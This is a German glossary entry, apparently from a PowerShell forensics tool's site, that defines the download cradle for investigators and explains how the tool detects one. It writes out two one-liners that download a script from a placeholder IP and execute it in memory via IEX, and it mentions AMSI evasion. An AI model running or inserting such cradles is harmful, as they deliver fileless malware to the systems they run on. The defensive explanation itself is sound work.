Glossar
Download-Cradle
Ein kurzes PowerShell-Snippet, das Code von einer entfernten URL abruft und im Arbeitsspeicher ausführt, ohne eine Datei auf den Datenträger zu schreiben.
Ein Download-Cradle ist ein kurzes PowerShell-Snippet, meist ein Einzeiler, das ein entferntes Skript abruft und im Arbeitsspeicher ausführt, sodass die Nutzlast nie als Datei auf dem Datenträger existiert. Es kombiniert zwei Primitive: einen Download (einen Webclient, eine Webanfrage oder ein Übertragungsprogramm) und einen Ausführungsschritt wie Invoke-Expression, der die heruntergeladene Zeichenkette in laufenden Code verwandelt.
Warum es für Untersuchungen wichtig ist
Cradles sind die übliche erste Stufe von PowerShell-Angriffen: Phishing-Makros, bösartige Verknüpfungen und Angreifer, die direkt an der Tastatur arbeiten, nutzen sie gleichermaßen, um die nächste Stufe von der Infrastruktur des Angreifers nachzuladen. Da nichts auf den Datenträger geschrieben wird, sind die Befehlszeile oder der protokollierte Skriptblock oft der einzige Nachweis für die Herkunft der Nutzlast. Die URL oder IP im Cradle ist daher ein unmittelbarer Indikator, mit dem Sie in Proxy-, DNS- und Firewall-Protokollen weitersuchen können.
Neben Net.WebClient gibt es viele Varianten: Invoke-WebRequest/iwr, Invoke-RestMethod/irm, Start-BitsTransfer, Net.Http.HttpClient, COM-Objekte wie MSXML2.XMLHTTP sowie Programme wie bitsadmin oder certutil -urlcache.
Beispiel
Die klassische Form, oft in einen kodierten Befehl mit verstecktem Fenster verpackt:
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/a.ps1')
Eine kürzere Variante erreicht dasselbe mit Aliasen:
irm http://198.51.100.23/a.ps1 | iex
Der Parser meldet einen Download allein mit mittlerer Schwere, ein Ausführungs-Primitiv allein als Invoke-Expression und beides zusammen als Download-Cradle mit hoher Schwere. Er extrahiert die URL und die IP als inerte Zeichenketten, die Sie kopieren können, und ruft sie niemals ab.
Verwandte Begriffe
- Invoke-Expression (IEX), die Ausführungshälfte der meisten Cradles
- Kodierter Befehl, die übliche Hülle um ein Cradle
- Umgehung der Ausführungsrichtlinie, oft in derselben Befehlszeile
- AMSI, das Angreifer vor dem Ausführen der Nutzlast auszuschalten versuchen
Finden Sie Cradles in Ihren Protokollen, Verläufen und Transkripten mit dem PowerShell Parser, und lesen Sie unter kodierte Befehle und Obfuskation dekodieren, welche Schichten sie üblicherweise verbergen.